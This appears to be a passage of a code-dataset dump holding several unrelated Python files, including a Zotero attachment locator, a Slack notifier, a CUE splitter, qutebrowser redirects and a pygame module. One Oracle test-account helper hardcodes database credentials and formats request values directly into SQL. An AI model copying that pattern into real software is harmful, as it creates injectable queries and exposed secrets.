1\n pos, _ = self.result(pos, policy(pos))\n if self.win(pos):\n wins += 1\n return wins / n\n","sub_path":"Q Learning/nfl_strategy.py","file_name":"nfl_strategy.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"179230448","text":"# -*- coding: utf-8 -*\nimport wx\nimport matplotlib\n\nmatplotlib.use(\"WXAgg\")\nfrom matplotlib.backends.backend_wxagg import Toolbar, FigureCanvasWxAgg\nfrom matplotlib.figure import Figure\nimport numpy as np\n\n\nclass ImageMapGUISample(wx.Panel):\n def __init__(self, parent):\n print(\"ImageMapGUISample Initialize\")\n wx.Panel.__init__(self, parent, -1)\n # Canvasの準備\n self.fig = Figure(figsize=(5, 4), dpi=60)\n self.canvas = FigureCanvasWxAgg(self, -1, self.fig) # Error !\n # Sizerの用意\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(self.canvas, 1, wx.LEFT | wx.TOP | wx.GROW)\n # プロット\n self.init_plot_data()\n self.SetSizer(sizer)\n self.Fit()\n\n def init_plot_data(self):\n # プロットデータの作成\n ax = self.fig.add_subplot(1, 1, 1)\n dumping_coeff = 0.012\n x = np.linspace(-2 * np.pi, 2 * np.pi, 256)\n y = np.linspace(-2 * np.pi, 2 * np.pi, 256)\n x_data, y_data = np.meshgrid(x, y)\n mesh_data = - (x_data ** 2 + y_data ** 2) / 2\n z1 = np.exp(mesh_data * dumping_coeff)\n self.im = ax.imshow(z1, cmap=\"bwr\")\n\n\nclass App(wx.App):\n def OnInit(self):\n self.frame = wx.Frame(None, title=\"wx matplotlib\", size=(400, 400))\n image_panel = ImageMapGUISample(None)\n image_panel.init_plot_data()\n\n change_btn = wx.Button(self.frame, \"Change button\")\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(image_panel, 1, wx.EXPAND)\n sizer.Add(change_btn, wx.GROW)\n\n self.frame.Show(True)\n return True\n\n\nif __name__ == '__main__':\n app = App(0)\n app.MainLoop()\n","sub_path":"Practice/ImageMapGUI.py","file_name":"ImageMapGUI.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"456362359","text":"\"\"\"\n循环\n\"\"\"\n\ncounter = 0\n# list 列表类型\ncondition_list = ['apple_list', 'banana_list', 'orange_list', 'grape_list']\n# tuple 元祖类型\ncondition_tuple = ('apple_tuple', 'banana_tuple', 'orange_tuple', 'grape_tuple')\n# set 集合类型\ncondition_set = {'apple_set', 'apple_set', 'orange_set', 'grape_set'}\n# dict 字典类型\ncondition_dict = {'a': 'apple_dict', 'b': 'banana_dict', 'o': 'orange_dict', 'g': 'grape_dict'}\n# 多维\ncondition_all = [['apple_list', 'banana_list', 'orange_list', 'grape_list'],\n ('apple_tuple', 'banana_tuple', 'orange_tuple', 'grape_tuple'),\n {'apple_set', 'apple_set', 'orange_set', 'grape_set'},\n {'a': 'apple_dict', 'b': 'banana_dict', 'o': 'orange_dict', 'g': 'grape_dict'}\n ]\nwhile counter <= 10:\n counter += 1\n if counter == 5:\n print(55)\n print(counter)\nelse:\n print('its over')\n\n# for x in condition_all: # 遍历多维数组\n# for y in x:\n# print(y)\n# else: # 虽然python有else这个语法,但是不常用\n# print('game over')\n\nfor x in condition_list:\n # if x == 'orange_list':\n if 'orange_list' in x:\n # break # 强行终止循环,跳出当前的循环 orange_list 和orange_list 后面的元素不会打印\n continue # 跳过当前的元素 orange_list 这个元素不会打印\n print(x)\nelse: # 执行break强行终止,else的代码段将不会执行\n print('game over')\n\n# for x in range(0, 10, 2): # 对应for(i=1;i<=10;i++) range:生成一个序列(第一个参数其市值,第二个参数是范围,相当于小于,第三个可选参数是步长)\nfor x in range(10, 2, -2): # 递减排列,第一个参数大于第二个参数,第三个参数为负数\n # if x % 2 == 1:\n print(x, end='|') # end='|'是一行打印出来\nelse:\n print('\\n')\n# 打印位置长度的列表\na = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]\nfor x in range(0, len(a), 2): # len()获取列表的长度作为range的第二个参数\n print(x, end=\"|\")\n\nb = a[0:len(a):2] # 利用列表的切片去除元素,第一个参数是起始位置,第二个是切片的长度,第三个是步长\nprint(b)\n\n# 遍历字典,相当于PHP foreach()循环\nfor a in condition_dict:\n print(a) # 打印key\n print(condition_dict[a]) # 打印value\n\nfor key in condition_dict.keys(): # keys()打印key\n print(key)\n\nfor value in condition_dict.values(): # 使用value()打印value\n print(value)\n# 使用items()遍历key,value\nfor kv in condition_dict.items(): # 遍历字典项\n print(kv)\nfor key, value in condition_dict.items():\n print(key + ':' + value)\n","sub_path":"home-study/study-code/python-code/three/loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627409037","text":"# -*- coding: utf-8 -*-\nfrom django.core.management.base import NoArgsCommand, CommandError\nfrom atados_core.models import Nonprofit, UploadedImage\nfrom optparse import make_option\nimport csv\nimport time\n\nclass Command(NoArgsCommand):\n help = 'Update nonprofit using image and cover field to use UploadedImage'\n\n def handle_noargs(self, **options):\n nonprofits = Nonprofit.objects.filter()\n\n for n in nonprofits:\n uploaded_image = UploadedImage(user_id=n.user.id)\n\n if (n.image):\n uploaded_image.image = n.image\n if (n.image_small):\n uploaded_image.image_small = n.image_small\n if (n.image_medium):\n uploaded_image.image_medium = n.image_medium\n if (n.image_large):\n uploaded_image.image_large = n.image_large\n\n uploaded_image.save()\n n.uploaded_image = uploaded_image\n n.save()\n\n uploaded_cover = UploadedImage(user_id=n.user.id)\n\n if (n.cover):\n uploaded_cover.image = n.cover\n uploaded_cover.image_small = n.cover\n uploaded_cover.image_medium = n.cover\n uploaded_cover.image_large = n.cover\n\n uploaded_cover.save()\n n.uploaded_cover = uploaded_cover\n n.save()\n\n print(n.uploaded_image)\n print(n.user.slug)\n","sub_path":"atados_core/management/commands/upgrade_nonprofits_to_uploadedimages.py","file_name":"upgrade_nonprofits_to_uploadedimages.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208115215","text":"#! /usr/bin/env python3\n# [[file:~/Workspace/Programming/glocator/glocator.note::60effdbd-c99a-4f7e-b2b5-ccb95a6577f2][60effdbd-c99a-4f7e-b2b5-ccb95a6577f2]]\n#===============================================================================#\n# DESCRIPTION: ---\n#\n# OPTIONS: ---\n# REQUIREMENTS: ---\n# NOTES: ---\n# AUTHOR: Wenping Guo \n# LICENCE: GPL version 2 or upper\n# CREATED: <2017-10-16 Mon 14:45>\n# UPDATED: <2017-11-20 Mon 15:18>\n#===============================================================================#\n# 60effdbd-c99a-4f7e-b2b5-ccb95a6577f2 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::9844612f-9f1d-4f9d-a4ce-c04bfca62610][9844612f-9f1d-4f9d-a4ce-c04bfca62610]]\nimport os\nimport sqlite3\nimport glob\nimport re\n\nfrom contextlib import contextmanager\n\n# ZOTERO_DB_FILENAME = os.path.expanduser(\"~/Data/zotero/zotero.sqlite.bak\")\nZOTERO_DB_FILENAME = None # auto detect\n# 9844612f-9f1d-4f9d-a4ce-c04bfca62610 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::097b94fa-24e5-4e26-9059-dbec861952b6][097b94fa-24e5-4e26-9059-dbec861952b6]]\ndef _get_zotero_data_dir(profile_dir):\n \"\"\"read zotero dataDir from $profile_dir/prefs.js\n\n Parameters\n ----------\n profile_dir: the root directory holding prefs.js\n \"\"\"\n rex = re.compile('zotero.dataDir\", \"([^\"]+)\"')\n for line in open(os.path.join(profile_dir, \"prefs.js\")):\n if \"extensions.zotero.dataDir\" in line:\n print(line)\n p = rex.search(line)\n assert p, line\n data_dir = p.groups()[0]\n return data_dir\n\ndef _get_zotero_default_profile(basedir):\n \"\"\"read default profile by profiles.ini\"\"\"\n\n inifile = os.path.join(basedir, \"profiles.ini\")\n\n path = None\n if os.path.exists(inifile):\n with open(inifile) as fp:\n sects = fp.read().split('\\n\\n')[1:]\n for p in sects:\n for l in p.split('\\n'):\n if l.find('Path=') >= 0:\n path = l.split('=')[1]\n if l.find('Default=1') >=0:\n break\n else:\n continue\n return path\n\n\ndef detect_zotero_storage_path(basedir=os.path.expanduser(\"~/.zotero/zotero\")):\n \"\"\"get zotero storage path automatically\"\"\"\n\n tmpdir = os.path.join(basedir, \"*/\")\n profile_dirs = glob.glob(tmpdir)\n\n if not profile_dirs:\n print(\"could not find zotero standalone profile directory.\")\n return None\n\n if len(profile_dirs) == 1: # the most common case: only default profile\n profile_dir = profile_dirs[0]\n return _get_zotero_data_dir(profile_dir)\n elif len(profile_dirs): # if there are many profiles\n profile = _get_zotero_default_profile(basedir)\n assert profile, \"could not find default profile: {}\".format(basedir)\n profile_dir = os.path.join(basedir, profile)\n return profile_dir\n# 097b94fa-24e5-4e26-9059-dbec861952b6 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::72722bc5-b5c6-485f-9b99-07df482ba3d2][72722bc5-b5c6-485f-9b99-07df482ba3d2]]\n@contextmanager\ndef _zotdb():\n global ZOTERO_DB_FILENAME\n if ZOTERO_DB_FILENAME is None:\n dir = detect_zotero_storage_path()\n assert dir, \"could not locate zotero database.\"\n ZOTERO_DB_FILENAME = os.path.join(dir, \"zotero.sqlite.bak\")\n assert ZOTERO_DB_FILENAME, \"no zotero database file defined.\"\n\n with sqlite3.connect(ZOTERO_DB_FILENAME) as conn:\n cursor = conn.cursor()\n yield cursor\n# 72722bc5-b5c6-485f-9b99-07df482ba3d2 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::9adff0ef-a1e8-4a96-9200-d756bc56ef30][9adff0ef-a1e8-4a96-9200-d756bc56ef30]]\n# attachment item\n# i.e: zotero://select/items/1_2HQN5BHJ\nSQL_ATTACHMENT_ITEM = \"\"\"\nSELECT itemAttachments.path\nFROM items, itemAttachments\nWHERE itemAttachments.ItemID = items.itemID\n and itemAttachments.contentType = \"application/pdf\"\n and items.key = ?;\n\"\"\"\n# 9adff0ef-a1e8-4a96-9200-d756bc56ef30 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::71f64d9a-adb3-4d7b-9308-c413eb2334f6][71f64d9a-adb3-4d7b-9308-c413eb2334f6]]\n# article item\n# i.e: zotero://select/items/1_NIUYMGLJ\nSQL_PARENT_ITEM = \"\"\"\nSELECT itemAttachments.path\nFROM items, itemAttachments\nWHERE itemAttachments.parentItemID = items.itemID\n and itemAttachments.contentType = \"application/pdf\"\n and items.key = ?;\n\"\"\"\n# 71f64d9a-adb3-4d7b-9308-c413eb2334f6 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::0113ad5b-cead-4128-9fe9-ad679138be76][0113ad5b-cead-4128-9fe9-ad679138be76]]\ndef _get_attachment_from_itemkey(itemkey):\n \"\"\"get pdf attachement from zotero database\n\n Parameters\n ----------\n itemkey: item key pointing to an article or attachment\n \"\"\"\n with _zotdb() as cur:\n # first support itemkey pointing to an attachment\n query = cur.execute(SQL_ATTACHMENT_ITEM, (itemkey,))\n rows = query.fetchall()\n # if found nothing, search its parent item instead\n if len(rows) < 1:\n query = cur.execute(SQL_PARENT_ITEM, (itemkey, ))\n rows = query.fetchall()\n # if found many, return the first attachment\n print(rows)\n if len(rows) >= 1:\n return rows[0][0]\n else:\n print(\"found nothing\")\n return None\n\ndef get_attachement_from_zotero_link(link):\n \"\"\"open attachment from zotero protocol link\n\n Parameters\n ----------\n link: zotero item selection link, i.e: zotero://select/items/1_NIUYMGLJ\n \"\"\"\n\n assert link.startswith(\"zotero://\"), link\n itemkey = link.split(\"_\", maxsplit=1)[-1]\n assert len(itemkey) == 8, \"{} ==> {}\".format(link, itemkey)\n\n path_str = _get_attachment_from_itemkey(itemkey)\n if not path_str:\n return\n\n dir_base = os.path.dirname(ZOTERO_DB_FILENAME)\n if path_str.startswith(\"storage:\"):\n attachname = path_str[8:]\n else:\n attachname = path_str\n\n full_path = os.path.join(dir_base, \"storage\", itemkey, attachname)\n return full_path\n# 0113ad5b-cead-4128-9fe9-ad679138be76 ends here\n\n# [[file:~/Workspace/Programming/glocator/glocator.note::56b26039-4f86-4e57-82dc-9cb4e40c70e4][56b26039-4f86-4e57-82dc-9cb4e40c70e4]]\ndef main():\n version = \"%(prog)s \"\n desc = \"default description\"\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument('-v', '--version',\n version=version,\n action='version')\n\n parser.add_argument('itemlink',\n help='zotero selection item link')\n\n if len(sys.argv) == 1:\n parser.print_help()\n return\n\n cmdl = parser.parse_args()\n\n if cmdl.itemlink:\n path = get_attachement_from_zotero_link(cmdl.itemlink)\n print(path)\n else:\n parser.print_help()\n\n\nif __name__ == '__main__':\n import sys\n import argparse\n\n main()\n# 56b26039-4f86-4e57-82dc-9cb4e40c70e4 ends here\n","sub_path":"scripts/zoterodb.py","file_name":"zoterodb.py","file_ext":"py","file_size_in_byte":7090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191857999","text":"from .NotifyMethods import * # Using the predefined functions from the abstract class\nfrom .NotifyDecorators import time_func\n\n# Specify here other Packages to be imported specific for [Method].\nfrom slack import WebClient\nfrom random import randint # For random emojis\n\n\ndef time_Slack(function=None, use_env: bool=True, env_path: str=\".env\", update_env: bool=False, *args, **kwargs):\n \"\"\"Decorator specific for Slack, if no credentials specified, it wil fill in with .env variables\n \n \n Args:\n function (function, optional): In case you want to use time_func as a pure decoratr without argumetns, Alert serves as \n the function. Defaults to None.\n use_env (str, optional): Loads .env file envionment variables. Defaults to False\n env_path (str, optional): path to .env file. Defaults to \".env\".\n update_env (bool, optional): whether to update the .env file to current. Always updatess on \n initialization. Defaults to False.\n\"\"\"\n return time_func(function=function, NotifyMethod=\"Slack\", use_env=use_env, env_path=env_path, update_env=update_env, *args, **kwargs) \n\n\nclass SlackMethod(NotifyMethods):\n \"\"\"Sends slack notification to slack channel and user email specified\n \"\"\" \n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n \n\n def _set_credentials(self, email: str=None, token: str=None, *args, **kwargs):\n self.email = self.str_or_env(email, \"EMAIL\")\n self.client = WebClient(self.str_or_env(token, \"SLACK_API_TOKEN\"))\n \n\n def addon(self, type_: str=\"Error\")->str:\n try:\n emoji_dict = self.client.emoji_list()['emoji']\n rand_emoji = list(emoji_dict.keys())[randint(0, len(emoji_dict))]\n return f\":{rand_emoji}:\"\n except Exception:\n pass\n finally:\n return \":tada:\"\n \n\n def send_message(self, message: str):\n try:\n self.client.chat_postMessage(username=\"alerty\", # NOTE this can be any username, set up the credentials!\n text=message,\n channel=self.client.users_lookupByEmail(email=self.email)['user']['id'])\n\n except Exception as ex:\n raise ex","sub_path":"FuncNotify/SlackMethod.py","file_name":"SlackMethod.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493363412","text":"\"\"\"\n cuetoolkit.converter.convert\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Its tools can be used to split CDDA-images.\n\"\"\"\n\n\nimport glob\nimport json\nimport os\nimport shlex\nimport subprocess\nimport time\n\nfrom ..abstract import Baptizer, Decoder\nfrom ..common import Couple, Cue\nfrom ..exc import FileError, ReqAppError, show_error\nfrom ..system import options_file\nfrom ..tagger.tagger import Tagger\n\n\ndef clean_cwd(template):\n junk = glob.glob(template)\n if junk:\n for item in junk:\n try:\n os.remove(item)\n except OSError:\n return True\n\n\nclass Converter(Decoder):\n \"\"\"\n With this class a CDDA-image can be split to tracks.\n \"\"\"\n def __init__(self, source, media_type, schema, enc_opts, quiet):\n \"\"\"\n :param source: a media or cue sheet file name as a string\n :param media_type: the type of tracks, can be one of these:\n 'flac', 'ogg', 'opus', 'mp3'\n :param schema: 'append' or 'prepend' or 'split'\n :param enc_opts: encoder options as a list\n :param quiet: True or False, defines whether the report will\n be printed or not\n :return:\n \"\"\"\n self.cfg = self._read_cfg(options_file)\n if self.cfg is None:\n raise FileError('unable to read predefined options')\n enc_opts = self._solve_options(enc_opts)\n self.couple = Couple(source)\n if self.couple.cue is None:\n raise FileError('the cue sheet is not found')\n if self.couple.media is None:\n raise FileError('there is no media file')\n self._check_decoder(self.couple.media)\n self._check_encoder(media_type)\n self.prefix = 'track'\n self.media_type = media_type\n self.schema = schema\n self.template = '{}*.{}'.format(self.prefix, media_type)\n self.cue = Cue(self.couple.cue)\n self.tagger = Tagger(media_type)\n self.cmd = '{} \"{}\"'.format(\n self._gen_cmd(media_type, enc_opts, quiet), self.couple.media)\n\n def _solve_options(self, enc_opts):\n if enc_opts and isinstance(enc_opts, list):\n return ' '.join(enc_opts)\n return ''\n\n def _check_encoder(self, media_type):\n apps = {'flac': 'flac',\n 'ogg': 'oggenc',\n 'opus': 'opusenc',\n 'mp3': 'lame'}\n app = apps.get(media_type)\n if not self._check_dep(app):\n raise ReqAppError('{} is not installed'.format(app))\n\n def _read_cfg(self, conf_file):\n try:\n with open(conf_file, 'r', encoding='utf-8') as config:\n return json.load(config)\n except (OSError, ValueError):\n return None\n\n def _gen_head(self, quiet):\n if quiet:\n return 'shnsplit -a {} -q -o '.format(self.prefix)\n return 'shnsplit -a {} -o '.format(self.prefix)\n\n def _gen_parts(self, media_type):\n mp3 = '--noreplaygain --lowpass -1 -V 0'\n opus = '--raw-rate 44100'\n parts = {\n 'flac': {'cust': '\"cust ext=flac flac ',\n 'enc': self.cfg.get('flac').get('enc') or '',\n 'out': ' - -o %f\"'},\n 'ogg': {'cust': '\"cust ext=ogg oggenc ',\n 'enc': self.cfg.get('ogg').get('enc') or '-q 4',\n 'out': ' - -o %f\"'},\n 'opus': {'cust': '\"cust ext=opus opusenc ',\n 'enc': self.cfg.get('opus').get('enc') or opus,\n 'out': ' - %f\"'},\n 'mp3': {'cust': '\"cust ext=mp3 lame ',\n 'enc': self.cfg.get('mp3').get('enc') or mp3,\n 'out': ' - %f\"'}}\n return (parts.get(media_type).get('cust'),\n parts.get(media_type).get('enc'),\n parts.get(media_type).get('out'))\n\n def _gen_cmd(self, media_type, enc_opts, quiet):\n enc, options, output = self._gen_parts(media_type)\n options = enc_opts or options\n return '{0}{1}{2}{3}'.format(\n self._gen_head(quiet), enc, options, output)\n\n def split_media(self):\n \"\"\"\n this method splits the media file\n :return:\n \"\"\"\n points = '\\n'.join(self.cue.sift_points(self.schema)).encode('utf-8')\n cmd = shlex.split(self.cmd)\n process = subprocess.Popen(cmd, stdin=subprocess.PIPE)\n process.stdin.write(points)\n process.stdin.close()\n process.wait()\n if process.returncode:\n show_error('media file is not valid')\n\n\nclass Cleaner(Baptizer):\n \"\"\"\n Can be used to remove the junk files after splitting CDDA-image,\n and fill tracks metadata.\n \"\"\"\n def _detect_gaps(self, image):\n junk = list()\n step = 1\n for key in sorted(image.cue.store):\n if key == '01':\n if image.cue.store[key][1]:\n junk.append('{0}{1}.{2}'.format(\n image.prefix, str(step).zfill(2), image.media_type))\n step += 1\n else:\n if image.cue.store[key][0]:\n step += 1\n junk.append('{0}{1}.{2}'.format(\n image.prefix, str(step).zfill(2), image.media_type))\n step += 1\n else:\n step += 1\n return junk\n\n def _solve_gaps(self, image):\n if image.schema == 'split':\n return self._detect_gaps(image)\n\n def _remove_gaps(self, junk):\n for gap in junk:\n if gap in os.listdir('.'):\n os.remove(gap)\n\n def write_metadata(self, thread, image, rename):\n \"\"\"\n this method removes junk files, fills tracks metadata\n and renames tracks\n :param thread: splitting thread\n :param image: an instance of Converter\n :param rename: True or False\n :return:\n \"\"\"\n step = 0\n files = sorted(glob.glob(image.template))\n junk = self._solve_gaps(image)\n while thread.is_alive():\n time.sleep(0.1)\n if junk:\n self._remove_gaps(junk)\n if len(files) < len(sorted(glob.glob(image.template))):\n files = sorted(glob.glob(image.template))\n if len(files) >= 2:\n image.tagger.write_meta(files[-2], step, image.cue)\n if rename:\n self._rename_file(files[-2], step, image.cue)\n files = sorted(glob.glob(image.template))\n step += 1\n if files:\n image.tagger.write_meta(files[-1], step, image.cue)\n if rename:\n self._rename_file(files[-1], step, image.cue)\n","sub_path":"cuetoolkit/converter/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":6753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374851273","text":"import operator, re, typing\nimport urllib.parse\nfrom os.path import expanduser\n\nfrom qutebrowser.api import interceptor, message\nfrom PyQt5.QtCore import QUrl\n\ndef _wiki_redir(url: QUrl) -> bool:\n p = url.path()\n if p.startswith(\"/wiki/\"):\n url.setPath(urllib.parse.urljoin(\"/info/\", p.lstrip(\"/wiki/\")))\n url.setHost(\"infogalactic.com\")\n return True\n return False\n\ndef _yt_redir(url: QUrl) -> bool:\n with open(expanduser('~/.cache/best-instances/invidious.txt')) as f:\n best_invidious = f.readline().strip()\n best_invidious = urllib.parse.urlparse(best_invidious).netloc\n url.setHost(best_invidious)\n return True\n\n# Any return value other than a literal 'False' means we redirected\nREDIRECT_MAP = {\n \"reddit.com\": operator.methodcaller('setHost', 'libreddit.silkky.cloud'),\n \"youtube.com\": _yt_redir,\n \"instagram.com\": operator.methodcaller('setHost', \"bibliogram.art\"),\n \"twitter.com\": operator.methodcaller('setHost', \"twiiit.com\"),\n \"en.wikipedia.org\": _wiki_redir,\n} # type: typing.Dict[str, typing.Callable[..., typing.Optional[bool]]]\n\ndef int_fn(info: interceptor.Request):\n # \"\"\"Block the given request if necessary.\"\"\"\n # if (info.resource_type != interceptor.ResourceType.main_frame or\n # info.request_url.scheme() in {\"data\", \"blob\"}):\n # return\n url = info.request_url\n redir = REDIRECT_MAP.get(url.host().lstrip(\"www.\"))\n if redir is not None and redir(url) is not False:\n message.info(\"Redirecting to \" + url.toString())\n info.redirect(url)\n\n\ninterceptor.register(int_fn)\n","sub_path":".config/qutebrowser/interceptors.py","file_name":"interceptors.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"488769031","text":"# -*- coding: utf-8 -*-\nimport dslib\nimport random\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG,format='[%(asctime)s][%(filename)s][line:%(lineno)d][%(levelname)s] %(message)s')\nmydb = dslib.oracledb('autotest/autotest@192.1.50.26/T1DB3')\n\n #取测试环境的系统日期\ndef get_sysdate(envname):\n sql = \"select c_value from tsysparameter@sale_%s where c_item='SysDate'\" %envname\n return mydb.select_one(sql)[0]\n\n\ndef get_normal_acco(req):\n req.setdefault('num','1')\n req.setdefault('tacode','11')\n req.setdefault('capitalmode','')\n req.setdefault('custtype','1')\n req.setdefault('tradecontact','-')\n req.setdefault('custstate','0')\n req.setdefault('tradestate','0')\n req.setdefault('fundstate','0')\n req.setdefault('settstate','0')\n req.setdefault('fundcode','')\n req.setdefault('minshare','0')\n return mainlogic(req)\n\ndef mainlogic(req):\n envname,num,tacode,capitalmode,custtype,tradecontact,custstate,tradestate,fundstate,settstate,fundcode,minshare = req['envname'],req['num'],req['tacode'],req['capitalmode'],req['custtype'],req['tradecontact'],req['custstate'],req['tradestate'],req['fundstate'],req['settstate'],req['fundcode'],req['minshare']\n\n rsp = {}\n num = int(num)\n #envname = envname[2:]\n #sysdate = get_sysdate(envname)\n sql = '''select distinct a.vc_custno,\n b.vc_tradeacco,\n c.vc_fundacco,\n d.vc_settlementacco,\n c.vc_tacode,\n a.c_custtype,\n a.vc_customname,\n a.vc_identityno,\n a.c_identitytype,\n d.c_capitalmode,\n a.vc_dealpwd,\n nvl(b.vc_cdcard,''),\n nvl(b.vc_thirdcustno,'')\n \tfrom tcustinfo@sale_{env} a, taccoinfo@sale_{env} b, tfundacco@sale_{env} c, taccobank@sale_{env} d\n \t\twhere a.vc_custno = b.vc_custno\n \t\tand a.c_custtype = '{custtype}'\n \t\tand b.vc_custno = c.vc_custno\n \t\tand c.vc_custno = d.vc_custno\n \t\tand b.vc_settlementacco = d.vc_settlementacco \n \t\tand nvl(a.c_state,'0') = '{custstate}'\n \t\tand c.vc_tacode = '{tacode}'\n \t\tand nvl(b.c_state,'0') = '{tradestate}'\n \t\tand nvl(c.c_state,'0') = '{fundstate}'\n \t\tand nvl(d.c_state,'0') = '{settstate}'\n \t\t'''.format(env=envname,custstate=custstate,tradestate=tradestate,\n \t\t\tfundstate=fundstate,settstate=settstate,\n \t\t\tcontact=tradecontact,tacode=tacode,custtype=custtype)\n if capitalmode != '':\n \tsql += \"and d.c_capitalmode = '%s' \" %(capitalmode)\n if tradecontact != '-':\n \tsql += \"and nvl(b.vc_tradecontact,'SELF') = '{contact}' \".format(contact=tradecontact.upper())\n if fundcode != '':\n sql += \"and exists (select 1 from tstaticshare@sale_%s aa where aa.vc_fundcode='%s' and aa.vc_tradeacco=b.vc_tradeacco and aa.en_totalshare >= '%s') \" %(envname,fundcode,minshare)\n logging.info(sql)\n res = mydb.select_all(sql)\n if res == None or len(res) == 0:\n \trsp = {'errno':'1','errmsg':'未获取到数据'}\n \treturn rsp\n\n #取num个数据返回\n rsp['errno'] = '0'\n rsp['accoinfo'] = []\n for i in range(num):\n \tran = random.randint(1,len(res)) - 1\n\n \tacco = {'custno':res[ran][0],'tradeacco':res[ran][1],'fundacco':res[ran][2],'settlementacco':res[ran][3],'tacode':res[ran][4],'custtype':res[ran][5],'customname':res[ran][6].decode('gbk').encode('utf-8'),'identityno':res[ran][7],'identitytype':res[ran][8],'capitalmode':res[ran][9],'dealpwd':res[ran][10],'cdcard':res[ran][11],'thirdcustno':res[ran][12]}\n\n \trsp['accoinfo'].append(acco)\n\n logging.info(rsp)\n return rsp\n\n\n\nif __name__ == '__main__':\n req = {'envname':'it115','fundcode':'000009'}\n get_normal_acco(req)\n","sub_path":"account/normal_account.py","file_name":"normal_account.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374317776","text":"import pygame\r\nimport world as World\r\n#player_texture, player_screen_coords, player_direction\r\n\r\ndef Init(screen_size):\r\n\tglobal player_texture, player_screen_coords, player_direction, player_size, player_size_x, player_size_y, player_coords, player_x_coord, player_y_coord\r\n\t#Initialisation des ressources\r\n\tplayer_texture = pygame.image.load(\"../../res/textures/player/player-idle.png\")\r\n\tplayer_size = player_size_x, player_size_y = 92, 116\r\n\tplayer_screen_coords = player_x_screen_coord, player_y_screen_coord = (screen_size[0]-player_size_x)/2, (screen_size[1]-player_size_y)/2\r\n\tplayer_coords = player_x_coord, player_y_coord = 128, 128\r\n\tplayer_direction = 0\r\n\r\ndef EventManager(event): #Event de pygame\r\n\tglobal player_x_coord, player_y_coord\r\n\tif event.type == pygame.KEYDOWN:\r\n\t\tif (event.key == pygame.K_UP) or (event.key == pygame.K_RIGHT) or (event.key == pygame.K_DOWN) or (event.key == pygame.K_LEFT):\r\n\t\t\tChangeDirection(event.key)\r\n\t\t\tif event.key == pygame.K_UP:\r\n\t\t\t\tplayer_y_coord -= 1\r\n\t\t\t\tWorld.CalcChunk((player_x_coord, player_y_coord), \"north\")\r\n\t\t\telif event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayer_x_coord += 1\r\n\t\t\t\tWorld.CalcChunk((player_x_coord, player_y_coord), \"east\")\r\n\t\t\telif event.key == pygame.K_DOWN:\r\n\t\t\t\tplayer_y_coord += 1\r\n\t\t\t\tWorld.CalcChunk((player_x_coord, player_y_coord), \"south\")\r\n\t\t\telif event.key == pygame.K_LEFT:\r\n\t\t\t\tplayer_x_coord -= 1\r\n\t\t\t\tWorld.CalcChunk((player_x_coord, player_y_coord), \"west\")\r\n\r\ndef ChangeDirection(direction): #Touche du clavier (direction)\r\n\tglobal player_direction\r\n\tif direction == pygame.K_UP:\r\n\t\tplayer_direction = 0\r\n\telif direction == pygame.K_RIGHT:\r\n\t\tplayer_direction = 2\r\n\telif direction == pygame.K_DOWN:\r\n\t\tplayer_direction = 4\r\n\telif direction == pygame.K_LEFT:\r\n\t\tplayer_direction = 6\r\n\r\ndef Display(screen):\r\n\tglobal player_screen_coords, player_texture, player_direction, player_size, player_size_x, player_size_y\r\n\tscreen.blit(player_texture, player_screen_coords, pygame.Rect((0,player_direction*player_size_y),player_size))\r\n\r\ndef GetCoords():\r\n\tglobal player_x_coord, player_y_coord\r\n\treturn (player_x_coord, player_y_coord)\r\n","sub_path":"id1.0.9/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"224535547","text":"from builtins import zip\nfrom builtins import object\nfrom pyspark.ml.linalg import DenseVector\nfrom pyspark.ml.regression import LinearRegression as LR\nfrom pyspark.sql.functions import col\n\nfrom bi.common.exception import BIException\nfrom bi.common.results.regression import DFRegressionResult\nfrom bi.common.results.regression import RegressionResult\n\n\nclass LinearRegression(object):\n LABEL_COLUMN_NAME = '_1'\n FEATURES_COLUMN_NAME = '_2'\n\n MAX_ITERATIONS = 100\n REGULARIZATION_PARAM = 0.1\n\n def __init__(self, data_frame, df_helper, df_context):\n self._data_frame = data_frame\n self._dataframe_helper = df_helper\n self._dataframe_context = df_context\n self._sample_size = min(round(df_helper.get_num_rows()*0.8),2000)\n self._string_columns = df_helper.get_string_columns()\n self._string_columns = [c for c in self._string_columns if df_helper.get_num_unique_values(c)<=15]\n self._levels = {}\n for c in self._string_columns:\n # Not calling meta here, this file is not being used\n 